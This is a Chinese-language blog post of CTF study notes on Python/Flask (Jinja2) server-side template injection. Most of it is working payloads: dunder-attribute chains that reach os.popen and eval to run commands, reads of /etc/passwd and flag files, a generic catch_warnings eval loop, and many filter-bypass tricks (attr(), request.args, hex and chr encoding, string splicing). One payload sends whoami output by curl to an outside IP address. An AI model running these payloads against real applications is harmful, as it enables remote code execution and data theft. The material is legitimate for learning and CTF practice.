加载中...

Python SSTI学习


Python SSTI

[TOC]

太菜了,并没有接触过ssti,这边由于过了python的语法,所以略带yi点点基础学习SSTI注入!但依旧看不懂,所以做做笔记和练习题来加深对此的理解!芜湖,加油!

1 前置基础

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
1 __class__            类的一个内置属性,表示实例对象的类。
2 __base__ 类型对象的直接基类
3 __bases__ 类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
4 __mro__ 此属性是由类组成的元组,在方法解析期间会基于它来查找基类。
5 __subclasses__() 返回这个类的子类集合,Each class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. The list is in definition order.

6 __init__ 初始化类,返回的类型是function
7 __globals__ 使用方式是 函数名.__globals__获取function所处空间下可使用的module、方法以及所有变量。
8 __dic__ 类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里
9 __getattribute__() 实例、类、函数都具有的__getattribute__魔术方法。事实上,在实例化的对象进行.操作的时候(形如:a.xxx/a.xxx()),都会自动去调用__getattribute__方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。

10 __getitem__() 调用字典中的键值,其实就是调用这个魔术方法,比如a['b'],就是a.__getitem__('b')
11 __builtins__ 内建名称空间,内建名称空间有许多名字到对象之间映射,而这些名字其实就是内建函数的名称,对象就是这些内建函数本身。即里面有很多常用的函数。__builtins__与__builtin__的区别就不放了,百度都有。

12 __import__ 动态加载类和函数,也就是导入模块,经常用于导入os模块,__import__('os').popen('ls').read()]
13 __str__() 返回描写这个对象的字符串,可以理解成就是打印出来。
14 url_for flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。
15 get_flashed_messages flask的一个方法,可以用于得到__builtins__,而且url_for.__globals__['__builtins__']含有current_app。

16 lipsum flask的一个方法,可以用于得到__builtins__,而且lipsum.__globals__含有os模块:{{lipsum.__globals__['os'].popen('ls').read()}}

17 current_app 应用上下文,一个全局变量。
18
19 request 可以用于获取字符串来绕过,包括下面这些,引用一下羽师傅的。此外,同样可以获取open函数:request.__init__.__globals__['__builtins__'].open('/proc\self\fd/3').read()

20 request.args.x1 get传参
21 request.values.x1 所有参数
22 request.cookies cookies参数
23 request.headers 请求头参数
24 request.form.x1 post传参 (Content-Type:applicaation/x-www-form-urlencoded或multipart/form-data)
25 request.data post传参 (Content-Type:a/b)
26 request.json post传json (Content-Type: application/json)
27 config 当前application的所有配置。此外,也可以这样{{ config.__class__.__init__.__globals__['os'].popen('ls').read() }}

28 g {{g}}得到<flask.g of 'flask_ssti'>


这是模板的基本语法:
控制结构 {% %}

变量取值 {{ }}

注释 {# #}*

SSTI模板注入源于python的一个框架叫flask:Flask是一个轻量级的python的web框架,轻量级说明他只适用于构建小型网站

举个例子更好的认识上面的方法使用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
class A:
def __init__(self):
pass

class B:
def __init__(self):
pass

class C(A):
def __init__(self):
pass
class D(A):
def __init__(self):
pass

c = C()
a = A()

print(c.__class__) //输出<class '__main__.C'>
print(c.__class__.__bases__) //输出(<class '__main__.A'>,)
print(c.__class__.__base__) //输出<class '__main__.A'>
print(c.__class__.__mro__) //输出(<class '__main__.C'>, <class '__main__.A'>, <class 'object'>)
print(a.__class__.__mro__.__init__()) //输出None
print(a.__class__.__subclasses__()) //输出[<class '__main__.C'>, <class '__main__.D'>]
print(a.__class__.__subclasses__()[0].__init__.__globals__) //输出{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x00000239CF1A1CF8>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'D://xx/xx/1.py', '__cached__': None, 'A': <class '__main__.A'>, 'B': <class '__main__.B'>, 'C': <class '__main__.C'>, 'D': <class '__main__.D'>, 'c': <__main__.C object at 0x00000239CF2264E0>, 'a': <__main__.A object at 0x00000239CF2269B0>}
就是把这个文件下的所有的类,所有的方法全都打印输出

2 文件读取的操作

注入思路

  • 随便找一个内置类对象用__class__拿到他所对应的类
  • __bases__拿到基类(<class 'object'>
  • __subclasses__()拿到子类列表
  • 在子类列表中直接寻找可以利用的类(方法,函数)getshell,也可以通过脚本找个可利用类的方法(好难)!
方法1:popen()方法

​ 注意:必须在os的类下才可以执行此方法,且python2版本不可使用!

1
格式:os.popen(command[, mode[, bufsize]])
方法2:__builtins__下的多个函数
1
2
3
4
5
6
7
8
# python3

{{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('cat /fl4g|base64').read()}}

# python2

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

方法3:找到含有eval函数的类

warnings.catch_warnings这个类;

方法4:找到能够file读取功能的类
方法5:get data函数

<class ‘_frozen_importlib_external.FileLoader’>这个类的get_data可以直接读取flag!

方法6: 通用命令执行
1
2
3
4
5
6
7
8
9
10
11
12

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("id").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

3 绕过过滤的方式

1 过滤.
1
2
3
4
5
6
7
8
方法一:attr()绕过
正常:url?name={{().__class__.__base__.__subclasses__[177].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ipconfig").read()')}}`
绕过之后:{{()|attr('__class__')|attr('__base__')|attr('__subclasses__')()|attr('__getitem__')(177)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('eval')('__import__("os").popen("dir").read()')}}

方法二:[]绕过,可以用getitem()用来获取序号
url?name={{ config['__class__']['__init__']['__globals__']['os']['popen']('ipconfig')['read']() }}

其他:''.__class__可以写成 getattr('',"__class__")或者 ’'|attr("__class__")
2 过滤[]
1
2
3
4
5
6
方法一:__getitem__用来获取序号,也可以获取(字符串) 
例子:"".__class__.__mro__[2]
"".__class__.__mro__.__getitem__(2)
或者.__init__.__globals__.__getitem__('__builtins__').__getitem__('eval') 直接()包裹函数名

方法二:pop()
3 过滤
1
2
3
方法一:可以使用{%绕过
{%%}中间可以执行if语句,利用这一点可以进行类似盲注的操作或者外带代码执行结果
例子:{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://39.105.116.195:8080/?i=`whoami`').read()=='p' %}1{% endif %}
4 过滤’
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
方法一:对象request(jinjia2)
1、

{{[].__class__.__mro__[1].__subclasses__()[300].__init__.__globals__[request.args.arg1]}}&arg1=os

args是数组,可以进行自定义传值

2、

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read() }}&path=/etc/passwd

方法二:chr函数
1、

{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__()[59].__init__.__globals__.__builtins__.chr %}

2、

%2b是+,char()可以查看ASCII码对应表

{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(chr(47)%2bchr(101)%2bchr(116)%2bchr(99)%2bchr(47)%2bchr(112)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(119)%2bchr(100)).read()}}

5 过滤关键字

方法1 :16进制编码绕过

1
2
3
__class__:\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f
__base__:\x5f\x5f\x62\x61\x73\x65\x5f\x5f
__subclasses__:\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f

方法二:内置函数

方法三:拼接

1
2
3
4
5
{{request['__cl'+'ass__'].__mro__[12]}}
或者
.__init__.__globals__["sys"+"tem"]

~ 在jinja中可以拼接字符串

方法四:逆反

1
"__ssalc__"|reverse        // "__class__"
6 过滤_
1
2
3
4
5
6
7
8
9
10
方法一:request.args.
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__

GET传参:request.args

POST传参:request.values
方法二:编码绕过:__class__ => \x5f\x5fclass\x5f\x5f _是\x5f,.是\x2E
方法三:过滤了_可以用dir(0)[0][0]或者 request['values']绕过
{{''.__class__}} => {{''[request.args.t1]}}&t1=__class__(用于严格过滤参数)
''.__class__写成 ''|attr(request['values']['x1']),然后post传入x1=__class__(用于严格过滤参数)
7 python的格式化字符串特性
1
2
3
4
5
6
因为python的字符串格式化允许指定ascii码为字符
如果放到flask里,就可以改写成
"{0:c}"['format'](97) -> 格式化后生成a
界面就会输出 a;
那么__class__就可以变成如下
{{""['{0:c}'['format'](95)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](99)%2b'{0:c}'['format'](108)%2b'{0:c}'['format'](97)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](115)%2b'{0:c}'['format'](95)%2b'{0:c}'['format'](95)]}}

4 常用函数以及payload

解题思路:

步骤1:查看过滤
xxx代表要尝试是否过滤的内容
步骤2:查找所有类

通过找到的过滤,绕过即可

步骤3:查找子类位置

通常是在base[0]左右

步骤4:构造payload即可

找到类的子类,调用子类的函数即可!

payload总结:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
"".__class__.__bases__[0].__subclasses__()[128].__init__.__globals__['popen']('whoami').read()


"".__class__.__bases__[0].__subclasses__()[75].__init__.__globals__['__import__']('os').popen('whoami').read()


"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")

''.__class__.__mro__[-1].__subclasses__()[128].__init__.__globals__['sys'].modules['os'].popen('ls').read()
//其实这里面的-1就是列表从右到左按下标取值,-1表示从右到左数的一个值

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")


"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

"".__class__.__bases__[0].__subclasses__()[79].__init__.__globals__['__builtins__']['__import__']('os').popen('id').read()

5 例子精讲

1 第一题:基础,

[第三章 web进阶]SSTI以这道BUCCTF上的一道例子为讲解

步骤1:找到所有类

所有类:

1
{{''.__class__.__mro__.__getitem__(1).__subclasses__()}}

看到warnings.catch_warnings 这个了类,网上说了可以直接用,内置eval函数

步骤2:确定子类位置
1
{{''.__class__.__bases__.__getitem__(0)}} 返回object
步骤3:利用内置eval直接读取flag
1
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(171).__init__.__globals__.__getitem__('__builtins__').__getitem__('eval')('__import__("os").popen("whoami").read()')}}

2 第二题:进阶

下面我会以Newstarctf week5的一道例题来进行讲解,方便理解!

3 第三题:超进阶!

总结

跟SQL注入差不多,基本就是多看,多练习一下就好了,如何绕过过滤,如何通过通用的方式执行,了解一下flask模块,inja2的实现原理,即可完美玩转SSTI!


文章作者: Wuhen
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Wuhen !
评论
  目录